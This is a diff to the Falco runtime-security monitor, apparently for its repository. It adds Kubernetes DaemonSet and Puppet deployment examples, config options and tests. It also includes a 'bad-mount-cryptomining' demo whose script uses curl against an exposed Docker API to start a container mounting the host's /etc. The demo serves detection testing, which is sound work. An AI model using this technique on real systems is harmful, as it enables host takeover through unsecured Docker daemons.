+	"Binds": ["/etc:/mnt/etc"]
+    }
+}

examples/bad-mount-cryptomining/host-machine/Dockerfile

@@ -0,0 +1,12 @@
+FROM docker:stable-dind
+
+RUN set -ex \
+    && apk add --no-cache \
+    bash curl
+
+COPY start-cron-and-dind.sh /usr/local/bin
+
+ENTRYPOINT ["start-cron-and-dind.sh"]
+CMD []
+
+

examples/bad-mount-cryptomining/host-machine/start-cron-and-dind.sh

@@ -0,0 +1,11 @@
+#!/bin/sh
+
+# Start docker-in-docker, but backgrounded with its output still going
+# to stdout/stderr.
+dockerd-entrypoint.sh &
+
+# Start cron in the foreground with a moderate level of debugging to
+# see job output.
+crond -f -d 6
+
+

examples/bad-mount-cryptomining/launch_malicious_container.sh

@@ -0,0 +1,14 @@
+#!/bin/sh
+
+echo "Pulling alpine:latest image to docker-in-docker instance"
+curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
+
+echo "Creating container mounting /etc from host-machine"
+curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
+
+echo "Running container mounting /etc from host-machine"
+curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'
+
+
+
+

examples/k8s-using-daemonset/README.md

@@ -1,5 +1,92 @@
-# Example K8s Services for Falco
+# Example Kubernetes Daemon Sets for Sysdig Falco
 
-The yaml file in this directory installs the following:
- - Open Source Falco, as a DaemonSet. Falco is configured to communicate with the K8s API server via its service account, and changes its output to be K8s-friendly. It also sends to a slack webhook for the `#demo-falco-alerts` channel on our [public slack](https://sysdig.slack.com/messages/demo-falco-alerts/).
- - The [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events), as a deployment that ensures it runs on exactly 1 node.
+This directory gives you the required YAML files to stand up Sysdig Falco on Kubernetes as a Daemon Set. This will result in a Falco Pod being deployed to each node, and thus the ability to monitor any running containers for abnormal behavior. 
+
+The two options are provided to deploy a Daemon Set:
+- `k8s-with-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes with RBAC enabled.
+- `k8s-without-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes without RBAC enabled. 
+
+Also provided:
+- `falco-event-generator-deployment.yaml` - A Kubernetes Deployment to generate sample events. This is useful for testing, but note it will generate a large number of events.
+
+## Deploying to Kubernetes with RBAC enabled
+
+Since v1.8 RBAC has been available in Kubernetes, and running with RBAC enabled is considered the best practice. The `k8s-with-rbac` directory provides the YAML to create a Service Account for Falco, as well as the ClusterRoles and bindings to grant the appropriate permissions to the Service Account.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-account.yaml
+serviceaccount "falco-account" created
+clusterrole "falco-cluster-role" created
+clusterrolebinding "falco-cluster-role-binding" created
+k8s-using-daemonset$
+```
+
+The Daemon Set also relies on a Kubernetes ConfigMap to store the Falco configuration and make the configuration available to the Falco Pods. This allows you to manage custom configuration without rebuilding and redeploying the underlying Pods. In order to create the ConfigMap you'll need to first need to copy the required configuration from their location in this GitHub repo to the `k8s-with-rbac/falco-config/` directory. Any modification of the configuration should be performed on these copies rather than the original files.
+
+```
+k8s-using-daemonset$ cp ../../falco.yaml k8s-with-rbac/falco-config/
+k8s-using-daemonset$ cp ../../rules/falco_rules.* k8s-with-rbac/falco-config/
+```
+
+If you want to send Falco alerts to a Slack channel, you'll want to modify the `falco.yaml` file to point to your Slack webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Add the below to the bottom of the `falco.yaml` config file you just copied to enable Slack messages.
+
+```
+program_output:
+  enabled: true
+  keep_alive: false
+  program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"
+```
+
+You will also need to enable JSON output. Find the `json_output: false` setting in the `falco.yaml` file and change it to read `json_output: true`. Any custom rules for your environment can be added to into the `falco_rules.local.yaml` file and they will be picked up by Falco at start time. You can now create the ConfigMap in Kubernetes. 
+
+```
+k8s-using-daemonset$ kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
+configmap "falco-config" created
+k8s-using-daemonset$
+```
+
+Now that we have the requirements for our Daemon Set in place, we can create our Daemon Set.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-daemonset-configmap.yaml 
+daemonset "falco" created
+k8s-using-daemonset$
+```
+
+
+## Deploying to Kubernetes without RBAC enabled
+
+If you are running Kubernetes with Legacy Authorization enabled, you can use `kubectl` to deploy the Daemon Set provided in the `k8s-without-rbac` directory. The example provides the ability to post messages to a Slack channel via a webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Modify the [`args`](https://github.com/draios/falco/blob/dev/examples/k8s-using-daemonset/falco-daemonset.yaml#L21) passed to the Falco container to point to the appropriate URL for your webhook.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-without-rbac/falco-daemonset.yaml
+```
+
+
+## Verifying the installation
+
+In order to test that Falco is working correctly, you can launch a shell in a Pod. You should see a message in your Slack channel (if configured), or in the logs of the Falco pod.
+
+```
+k8s-using-daemonset$ kubectl get pods
+NAME          READY     STATUS    RESTARTS   AGE
+falco-74htl   1/1       Running   0          13h
+falco-fqz2m   1/1       Running   0          13h
+falco-sgjfx   1/1       Running   0          13h
+k8s-using-daemonset$ kubectl exec -it falco-74htl bash
+root@falco-74htl:/# exit
+k8s-using-daemonset$ kubectl logs falco-74htl
+{"output":"17:48:58.590038385: Notice A shell was spawned in a container with an attached terminal (user=root k8s.pod=falco-74htl container=a98c2aa8e670 shell=bash parent=<NA> cmdline=bash  terminal=34816)","priority":"Notice","rule":"Terminal shell in container","time":"2017-12-20T17:48:58.590038385Z", "output_fields": {"container.id":"a98c2aa8e670","evt.time":1513792138590038385,"k8s.pod.name":"falco-74htl","proc.cmdline":"bash ","proc.name":"bash","proc.pname":null,"proc.tty":34816,"user.name":"root"}}
+k8s-using-daemonset$
+``` 
+
+Alternatively, you can deploy the [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events) deployement to have events automatically generated. Please note that this Deployment will generate a large number of events. 
+
+```
+k8s-using-daemonset$ kubectl create -f falco-event-generator-deployment.yaml \
+&& sleep 1 \
+&& kubectl delete -f falco-event-generator-deployment.yaml
+deployment "falco-event-generator-deployment" created
+deployment "falco-event-generator-deployment" deleted
+k8s-using-daemonset$ 
+```

examples/k8s-using-daemonset/k8s-with-rbac/falco-account.yaml

@@ -0,0 +1,29 @@
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: falco-account
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1beta1
+metadata:
+  name: falco-cluster-role
+rules:
+  - apiGroups: ["extensions",""]
+    resources: ["nodes","namespaces","pods","replicationcontrollers","services","events","configmaps"]
+    verbs: ["get","list","watch"]
+  - nonResourceURLs: ["/healthz", "/healthz/*"]
+    verbs: ["get"]
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1beta1
+metadata:
+  name: falco-cluster-role-binding
+  namespace: default
+subjects:
+  - kind: ServiceAccount
+    name: falco-account
+    namespace: default
+roleRef:
+  kind: ClusterRole
+  name: falco-cluster-role
+  apiGroup: rbac.authorization.k8s.io

examples/k8s-using-daemonset/k8s-with-rbac/falco-daemonset-configmap.yaml

@@ -0,0 +1,63 @@
+apiVersion: extensions/v1beta1
+kind: DaemonSet
+metadata:
+  name: falco
+  labels:
+    name: falco-daemonset
+    app: demo
+spec:
+  template:
+    metadata:
+      labels:
+        name: falco
+        app: demo
+        role: security
+    spec:
+      serviceAccount: falco-account
+      containers:
+        - name: falco
+          image: sysdig/falco:latest
+          securityContext:
+            privileged: true
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk"]
+          volumeMounts:
+            - mountPath: /host/var/run/docker.sock
+              name: docker-socket
+            - mountPath: /host/dev
+              name: dev-fs
+            - mountPath: /host/proc
+              name: proc-fs
+              readOnly: true
+            - mountPath: /host/boot
+              name: boot-fs
+              readOnly: true
+            - mountPath: /host/lib/modules
+              name: lib-modules
+              readOnly: true
+            - mountPath: /host/usr
+              name: usr-fs
+              readOnly: true
+            - mountPath: /etc/falco
+              name: falco-config
+      volumes:
+        - name: docker-socket
+          hostPath:
+            path: /var/run/docker.sock
+        - name: dev-fs
+          hostPath:
+            path: /dev
+        - name: proc-fs
+          hostPath:
+            path: /proc
+        - name: boot-fs
+          hostPath:
+            path: /boot
+        - name: lib-modules
+          hostPath:
+            path: /lib/modules
+        - name: usr-fs
+          hostPath:
+            path: /usr
+        - name: falco-config
+          configMap:
+            name: falco-config

examples/k8s-using-daemonset/k8s-without-rbac/falco-daemonset.yaml

@@ -18,14 +18,12 @@ spec:
           image: sysdig/falco:latest
           securityContext:
             privileged: true
-          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/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"]
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
           volumeMounts:
             - mountPath: /host/var/run/docker.sock
               name: docker-socket
-              readOnly: true
             - mountPath: /host/dev
               name: dev-fs
-              readOnly: true
             - mountPath: /host/proc
               name: proc-fs
               readOnly: true

examples/logrotate/falco

@@ -0,0 +1,7 @@
+/var/log/falco-events.log {
+    rotate 5
+    size 1M
+    postrotate
+        /usr/bin/killall -USR1 falco
+    endscript
+}

examples/puppet-module/README.md

@@ -0,0 +1,3 @@
+# Example Puppet Falco Module
+
+This contains an example [Puppet](https://puppet.com/) module for Falco.

examples/puppet-module/sysdig-falco/Gemfile

@@ -0,0 +1,7 @@
+source 'https://rubygems.org'
+
+puppetversion = ENV.key?('PUPPET_VERSION') ? "= #{ENV['PUPPET_VERSION']}" : ['>= 3.3']
+gem 'puppet', puppetversion
+gem 'puppetlabs_spec_helper', '>= 0.1.0'
+gem 'puppet-lint', '>= 0.3.2'
+gem 'facter', '>= 1.7.0'

examples/puppet-module/sysdig-falco/README.md

@@ -0,0 +1,241 @@
+# falco
+
+#### Table of Contents
+
+1. [Overview](#overview)
+2. [Module Description - What the module does and why it is useful](#module-description)
+3. [Setup - The basics of getting started with falco](#setup)
+    * [What falco affects](#what-falco-affects)
+    * [Beginning with falco](#beginning-with-falco)
+4. [Usage - Configuration options and additional functionality](#usage)
+5. [Reference - An under-the-hood peek at what the module is doing and how](#reference)
+5. [Limitations - OS compatibility, etc.](#limitations)
+6. [Development - Guide for contributing to the module](#development)
+
+## Overview
+
+Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
+
+#### What kind of behaviors can Falco detect?
+
+Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+
+- A shell is run inside a container
+- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
+- A server process spawns a child process of an unexpected type
+- Unexpected read of a sensitive file (like `/etc/shadow`)
+- A non-device file is written to `/dev`
+- A standard system binary (like `ls`) makes an outbound network connection
+
+## Module Description
+
+This module configures falco as a systemd service. You configure falco
+to send its notifications to one or more output channels (syslog,
+files, programs).
+
+## Setup
+
+### What falco affects
+
+This module affects the following:
+
+* The main falco configuration file `/etc/falco/falco.yaml`, including
+** Output format (JSON vs plain text)
+** Log level
+** Rule priority level to run
+** Output buffering
+** Output throttling
+** Output channels (syslog, file, program)
+
+### Beginning with falco
+
+To have Puppet install falco with the default parameters, declare the falco class:
+
+``` puppet
+class { 'falco': }
+```
+
+When you declare this class with the default options, the module:
+
+* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
+* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
+* Starts the falco service.
+
+## Usage
+
+### Enabling file output
+
+To enable file output, set the `file_output` hash, as follows:
+
+``` puppet
+class { 'falco':
+  file_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'filename' => '/tmp/falco-events.txt'
+  },
+}
+```
+
+### Enabling program output
+
+To enable program output, set the `program_output` hash and optionally the `json_output` parameters, as follows:
+
+``` puppet
+class { 'falco':
+  json_output => 'true',
+  program_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'program' => 'curl http://some-webhook.com'
+  },
+}
+```
+
+## Reference
+
+* [**Public classes**](#public-classes)
+    * [Class: falco](#class-falco)
+
+### Public Classes
+
+#### Class: `falco`
+
+Guides the basic setup and installation of falco on your system.
+
+When this class is declared with the default options, Puppet:
+
+* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
+* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
+* Starts the falco service.
+
+You can simply declare the default `falco` class:
+
+``` puppet
+class { 'falco': }
+```
+
+###### `rules_file`
+
+An array of files for falco to load. Order matters--the first file listed will be loaded first.
+
+Default: `['/etc/falco/falco_rules.yaml', '/etc/falco/falco_rules.local.yaml']`
+
+##### `json_output`
+
+Whether to output events in json or text.
+
+Default: `false`
+
+##### `log_stderr`
+
+Send falco's logs to stderr. Note: this is not notifications, this is
+logs from the falco daemon itself.
+
+Default: `false`
+
+##### `log_syslog`
+
+Send falco's logs to syslog. Note: this is not notifications, this is
+logs from the falco daemon itself.
+
+Default: `true`
+
+##### `log_level`
+
+Minimum log level to include in logs. Note: these levels are
+separate from the priority field of rules. This refers only to the
+log level of falco's internal logging. Can be one of "emergency",
+"alert", "critical", "error", "warning", "notice", "info", "debug".
+
+Default: `info`
+
+##### `priority`
+
+Minimum rule priority level to load and run. All rules having a
+priority more severe than this level will be loaded/run.  Can be one
+of "emergency", "alert", "critical", "error", "warning", "notice",
+"info", "debug".
+
+Default: `debug`
+
+##### `buffered_outputs`
+
+Whether or not output to any of the output channels below is
+buffered.
+
+Default: `true`
+
+##### `outputs_rate`/`outputs_max_burst`
+
+A throttling mechanism implemented as a token bucket limits the
+rate of falco notifications. This throttling is controlled by the following configuration
+options:
+
+* `outputs_rate`: the number of tokens (i.e. right to send a notification)
+   gained per second. Defaults to 1.
+* `outputs_max_burst`: the maximum number of tokens outstanding. Defaults to 1000.
+
+##### `syslog_output
+
+Controls syslog output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `true`.
+
+Example:
+
+``` puppet
+class { 'falco':
+  syslog_output => {
+    'enabled' => 'true',
+  },
+}
+```
+
+##### `file_output`
+
+Controls file output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `false`.
+* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
+* `filename`: Notifications will be written to this file.
+
+Example:
+
+``` puppet
+class { 'falco':
+  file_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'filename' => '/tmp/falco-events.txt'
+  },
+}
+```
+
+##### `program_output
+
+Controls program output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `false`.
+* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
+* `program`: Notifications will be written to this program.
+
+Example:
+
+``` puppet
+class { 'falco':
+  program_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'program' => 'curl http://some-webhook.com'
+  },
+}
+```
+
+## Limitations
+
+The module works where falco works as a daemonized service (generally, Linux only).
+
+## Development
+
+For more information on Sysdig Falco, visit our [github](https://github.com/draios/falco) or [web site](https://sysdig.com/opensource/falco/).

examples/puppet-module/sysdig-falco/Rakefile

@@ -0,0 +1,18 @@
+require 'rubygems'
+require 'puppetlabs_spec_helper/rake_tasks'
+require 'puppet-lint/tasks/puppet-lint'
+PuppetLint.configuration.send('disable_80chars')
+PuppetLint.configuration.ignore_paths = ["spec/**/*.pp", "pkg/**/*.pp"]
+
+desc "Validate manifests, templates, and ruby files"
+task :validate do
+  Dir['manifests/**/*.pp'].each do |manifest|
+    sh "puppet parser validate --noop #{manifest}"
+  end
+  Dir['spec/**/*.rb','lib/**/*.rb'].each do |ruby_file|
+    sh "ruby -c #{ruby_file}" unless ruby_file =~ /spec\/fixtures/
+  end
+  Dir['templates/**/*.erb'].each do |template|
+    sh "erb -P -x -T '-' #{template} | ruby -c"
+  end
+end

examples/puppet-module/sysdig-falco/manifests/config.pp

@@ -0,0 +1,13 @@
+# == Class: falco::config
+class falco::config inherits falco {
+
+  file { '/etc/falco/falco.yaml':
+    notify  => Service['falco'],
+    ensure  => file,
+    owner   => 'root',
+    group   => 'root',
+    mode    => '0644',
+    content => template('falco/falco.yaml.erb'),
+  }
+
+}

examples/puppet-module/sysdig-falco/manifests/init.pp

@@ -0,0 +1,31 @@
+class falco (
+          $rules_file = [
+              '/etc/falco/falco_rules.yaml',
+              '/etc/falco/falco_rules.local.yaml'
+          ],
+          $json_output = 'false',
+          $log_stderr = 'false',
+          $log_syslog = 'true',
+          $log_level = 'info',
+          $priority = 'debug',
+          $buffered_outputs = 'true',
+          $outputs_rate = 1,
+          $outputs_max_burst = 1000,
+          $syslog_output = {
+              'enabled' => 'true'
+          },
+          $file_output = {
+              'enabled' => 'false',
+              'keep_alive' => 'false',
+              'filename' => '/tmp/falco_events.txt'
+          },
+          $program_output = {
+              'enabled' => 'false',
+              'keep_alive' => 'false',
+              'program' => 'curl http://some-webhook.com'
+          },
+      ) {
+  include falco::install
+  include falco::config
+  include falco::service
+}

examples/puppet-module/sysdig-falco/manifests/install.pp

@@ -0,0 +1,6 @@
+# == Class: falco::install
+class falco::install inherits falco {
+  package { 'falco':
+      ensure => installed,
+  }
+}

examples/puppet-module/sysdig-falco/manifests/service.pp

@@ -0,0 +1,11 @@
+# == Class: falco::service
+class falco::service inherits falco {
+
+  service { 'falco':
+    ensure     => running,
+    enable     => true,
+    hasstatus  => true,
+    hasrestart => true,
+    require => Package['falco'],
+  }
+}

examples/puppet-module/sysdig-falco/metadata.json

@@ -0,0 +1,14 @@
+{
+  "name": "sysdig-falco",
+  "version": "0.1.0",
+  "author": "sysdig",
+  "summary": "Sysdig Falco: Behavioral Activity Monitoring With Container Support",
+  "license": "GPLv2",
+  "source": "https://github.com/draios/falco",
+  "project_page": "https://github.com/draios/falco",
+  "issues_url": "https://github.com/draios/falco/issues",
+  "dependencies": [
+    {"name":"puppetlabs-stdlib","version_requirement":">= 1.0.0"}
+  ]
+}
+

examples/puppet-module/sysdig-falco/spec/classes/init_spec.rb

@@ -0,0 +1,7 @@
+require 'spec_helper'
+describe 'falco' do
+
+  context 'with defaults for all parameters' do
+    it { should contain_class('falco') }
+  end
+end

examples/puppet-module/sysdig-falco/spec/spec_helper.rb

@@ -0,0 +1 @@
+require 'puppetlabs_spec_helper/module_spec_helper'

examples/puppet-module/sysdig-falco/templates/falco.yaml.erb

@@ -0,0 +1,96 @@
+####
+# THIS FILE MANAGED BY PUPPET. DO NOT MODIFY
+####
+
+# File(s) containing Falco rules, loaded at startup.
+#
+# falco_rules.yaml ships with the falco package and is overridden with
+# every new software version. falco_rules.local.yaml is only created
+# if it doesn't exist. If you want to customize the set of rules, add
+# your customizations to falco_rules.local.yaml.
+#
+# The files will be read in the order presented here, so make sure if
+# you have overrides they appear in later files.
+rules_file:
+<% Array(@rules_file).each do |file| -%>
+ - <%= file %>
+<% end -%>
+
+# Whether to output events in json or text
+json_output: <%= @json_output %>
+
+# Send information logs to stderr and/or syslog Note these are *not* security
+# notification logs! These are just Falco lifecycle (and possibly error) logs.
+log_stderr: <%= @log_stderr %>
+log_syslog: <%= @log_syslog %>
+
+# Minimum log level to include in logs. Note: these levels are
+# separate from the priority field of rules. This refers only to the
+# log level of falco's internal logging. Can be one of "emergency",
+# "alert", "critical", "error", "warning", "notice", "info", "debug".
+log_level: <%= @log_level %>
+
+# Minimum rule priority level to load and run. All rules having a
+# priority more severe than this level will be loaded/run.  Can be one
+# of "emergency", "alert", "critical", "error", "warning", "notice",
+# "info", "debug".
+priority: <%= @priority %>
+
+# Whether or not output to any of the output channels below is
+# buffered. Defaults to true
+buffered_outputs: <%= @buffered_outputs %>
+
+# A throttling mechanism implemented as a token bucket limits the
+# rate of falco notifications. This throttling is controlled by the following configuration
+# options:
+#  - rate: the number of tokens (i.e. right to send a notification)
+#    gained per second. Defaults to 1.
+#  - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
+#
+# With these defaults, falco could send up to 1000 notifications after
+# an initial quiet period, and then up to 1 notification per second
+# afterward. It would gain the full burst back after 1000 seconds of
+# no activity.
+
+outputs:
+  rate: <%= @outputs_rate %>
+  max_burst: <%= @outputs_max_burst %>
+
+# Where security notifications should go.
+# Multiple outputs can be enabled.
+<% unless @syslog_output.nil? -%>
+syslog_output:
+  enabled: <%= @syslog_output['enabled'] %>
+<% end -%>
+
+# If keep_alive is set to true, the file will be opened once and
+# continuously written to, with each output message on its own
+# line. If keep_alive is set to false, the file will be re-opened
+# for each output message.
+<% unless @file_output.nil? -%>
+file_output:
+  enabled: <%= @file_output['enabled'] %>
+  keep_alive: <%= @file_output['keep_alive'] %>
+  filename: <%= @file_output['filename'] %>
+<% end -%>
+
+# Possible additional things you might want to do with program output:
+#   - send to a slack webhook:
+#         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
+#   - logging (alternate method than syslog):
+#         program: logger -t falco-test
+#   - send over a network connection:
+#         program: nc host.example.com 80
+
+# If keep_alive is set to true, the program will be started once and
+# continuously written to, with each output message on its own
+# line. If keep_alive is set to false, the program will be re-spawned
+# for each output message.
+
+<% unless @program_output.nil? -%>
+program_output:
+  enabled: <%= @program_output['enabled'] %>
+  keep_alive: <%= @program_output['keep_alive'] %>
+  program: <%= @program_output['program'] %>
+<% end -%>
+

examples/puppet-module/sysdig-falco/tests/init.pp

@@ -0,0 +1,12 @@
+# The baseline for module testing used by Puppet Labs is that each manifest
+# should have a corresponding test manifest that declares that class or defined
+# type.
+#
+# Tests are then run by using puppet apply --noop (to check for compilation
+# errors and view a log of events) or by fully applying the test in a virtual
+# environment (to compare the resulting system state to the desired state).
+#
+# Learn more about module testing here:
+# http://docs.puppetlabs.com/guides/tests_smoke.html
+#
+include falco

falco.yaml

@@ -1,4 +1,7 @@
-# File(s) containing Falco rules, loaded at startup.
+# File(s) or Directories containing Falco rules, loaded at startup.
+# The name "rules_file" is only for backwards compatibility.
+# If the entry is a file, it will be read directly. If the entry is a directory,
+# every file in that directory will be read, in alphabetical order.
 #
 # falco_rules.yaml ships with the falco package and is overridden with
 # every new software version. falco_rules.local.yaml is only created
@@ -10,10 +13,16 @@
 rules_file:
  - /etc/falco/falco_rules.yaml
  - /etc/falco/falco_rules.local.yaml
+ - /etc/falco/rules.d
 
 # Whether to output events in json or text
 json_output: false
 
+# When using json output, whether or not to include the "output" property
+# itself (e.g. "File below a known binary directory opened for writing
+# (user=root ....") in the json output.
+json_include_output_property: true
+
 # Send information logs to stderr and/or syslog Note these are *not* security
 # notification logs! These are just Falco lifecycle (and possibly error) logs.
 log_stderr: true
@@ -61,6 +70,10 @@ syslog_output:
 # continuously written to, with each output message on its own
 # line. If keep_alive is set to false, the file will be re-opened
 # for each output message.
+#
+# Also, the file will be closed and reopened if falco is signaled with
+# SIGUSR1.
+
 file_output:
   enabled: false
   keep_alive: false
@@ -81,7 +94,9 @@ stdout_output:
 # continuously written to, with each output message on its own
 # line. If keep_alive is set to false, the program will be re-spawned
 # for each output message.
-
+#
+# Also, the program will be closed and reopened if falco is signaled with
+# SIGUSR1.
 program_output:
   enabled: false
   keep_alive: false

rules/CMakeLists.txt

@@ -31,7 +31,9 @@ install(FILES falco_rules.local.yaml
 	RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
 
 install(FILES application_rules.yaml
-	DESTINATION "${FALCO_ETC_DIR}"
+	DESTINATION "/etc/falco/rules.available"
 	RENAME "${FALCO_APP_RULES_DEST_FILENAME}")
+
+install(DIRECTORY DESTINATION "/etc/falco/rules.d")
 endif()
 

test/falco_test.py

@@ -30,6 +30,8 @@ class FalcoTest(Test):
             self.trace_file = os.path.join(self.basedir, self.trace_file)
 
         self.json_output = self.params.get('json_output', '*', default=False)
+        self.json_include_output_property = self.params.get('json_include_output_property', '*', default=True)
+        self.all_events = self.params.get('all_events', '*', default=False)
         self.priority = self.params.get('priority', '*', default='debug')
         self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
 
@@ -212,7 +214,7 @@ class FalcoTest(Test):
         triggered_rules = match.group(1)
 
         for rule, count in self.detect_counts.iteritems():
-            expected = '{}: (\d+)'.format(rule)
+            expected = '\s{}: (\d+)'.format(rule)
             match = re.search(expected, triggered_rules)
 
             if match is None:
@@ -249,7 +251,11 @@ class FalcoTest(Test):
             for line in res.stdout.splitlines():
                 if line.startswith('{'):
                     obj = json.loads(line)
-                    for attr in ['time', 'rule', 'priority', 'output']:
+                    if self.json_include_output_property:
+                        attrs = ['time', 'rule', 'priority', 'output']
+                    else:
+                        attrs = ['time', 'rule', 'priority']
+                    for attr in attrs:
                         if not attr in obj:
                             self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
 
@@ -348,8 +354,8 @@ class FalcoTest(Test):
             trace_arg = "-e {}".format(self.trace_file)
 
         # Run falco
-        cmd = '{} {} {} -c {} {} -o json_output={} -o priority={} -v'.format(
-            self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.priority)
+        cmd = '{} {} {} -c {} {} -o json_output={} -o json_include_output_property={} -o priority={} -v'.format(
+            self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.json_include_output_property, self.priority)
 
         for tag in self.disable_tags:
             cmd += ' -T {}'.format(tag)
@@ -360,6 +366,9 @@ class FalcoTest(Test):
         if self.run_duration:
             cmd += ' -M {}'.format(self.run_duration)
 
+        if self.all_events:
+            cmd += ' -A'
+
         self.falco_proc = process.SubProcess(cmd)
 
         res = self.falco_proc.run(timeout=180, sig=9)

test/falco_tests.yaml

@@ -128,6 +128,18 @@ trace_files: !mux
       - rules/single_rule.yaml
       - rules/double_rule.yaml
     trace_file: trace_files/cat_write.scap
+    all_events: True
+
+  rules_directory:
+    detect: True
+    detect_level:
+      - WARNING
+      - INFO
+      - ERROR
+    rules_file:
+      - rules/rules_dir
+    trace_file: trace_files/cat_write.scap
+    all_events: True
 
   multiple_rules_suppress_info:
     detect: True
@@ -143,6 +155,7 @@ trace_files: !mux
       - rules/single_rule.yaml
       - rules/double_rule.yaml
     trace_file: trace_files/cat_write.scap
+    all_events: True
 
   multiple_rules_overriding:
     detect: False
@@ -642,6 +655,14 @@ trace_files: !mux
       - rules/rule_append_failure.yaml
     trace_file: trace_files/cat_write.scap
 
+  rule_append_skipped:
+    detect: False
+    priority: ERROR
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/append_single_rule.yaml
+    trace_file: trace_files/cat_write.scap
+
   rule_append:
     detect: True
     detect_level: WARNING
@@ -655,3 +676,67 @@ trace_files: !mux
       - rules/rule_append_false.yaml
     trace_file: trace_files/cat_write.scap
 
+  json_output_no_output_property:
+    json_output: True
+    json_include_output_property: False
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/rule_append.yaml
+    trace_file: trace_files/cat_write.scap
+    stdout_contains: "^(?!.*Warning An open of /dev/null was seen.*)"
+
+  in_operator_netmasks:
+    detect: True
+    detect_level: INFO
+    rules_file:
+      - rules/detect_connect_using_in.yaml
+    trace_file: trace_files/connect_localhost.scap
+
+  syscalls:
+    detect: True
+    detect_level: INFO
+    rules_file:
+      - rules/syscalls.yaml
+    detect_counts:
+      - detect_madvise: 2
+      - detect_open: 2
+    trace_file: trace_files/syscall.scap
+    all_events: True
+
+  catchall_order:
+    detect: True
+    detect_level: INFO
+    rules_file:
+      - rules/catchall_order.yaml
+    detect_counts:
+      - open_dev_null: 1
+        dev_null: 0
+    trace_file: trace_files/cat_write.scap
+
+  skip_unknown_noevt:
+    detect: False
+    stdout_contains: Skipping rule "Contains Unknown Event And Skipping" that contains unknown filter proc.nobody
+    rules_file:
+      - rules/skip_unknown_evt.yaml
+    trace_file: trace_files/cat_write.scap
+
+  skip_unknown_prefix:
+    detect: False
+    rules_file:
+      - rules/skip_unknown_prefix.yaml
+    trace_file: trace_files/cat_write.scap
+
+  skip_unknown_error:
+    exit_status: 1
+    stderr_contains: Rule "Contains Unknown Event And Not Skipping" contains unknown filter proc.nobody. Exiting.
+    rules_file:
+      - rules/skip_unknown_error.yaml
+    trace_file: trace_files/cat_write.scap
+
+  skip_unknown_unspec_error:
+    exit_status: 1
+    stderr_contains: Rule "Contains Unknown Event And Unspecified" contains unknown filter proc.nobody. Exiting.
+    rules_file:
+      - rules/skip_unknown_unspec.yaml
+    trace_file: trace_files/cat_write.scap

test/falco_traces.yaml.in

@@ -59,44 +59,6 @@ traces: !mux
       - "Modify binary dirs": 2
       - "Change thread namespace": 2
 
-  installer-fbash-manages-service:
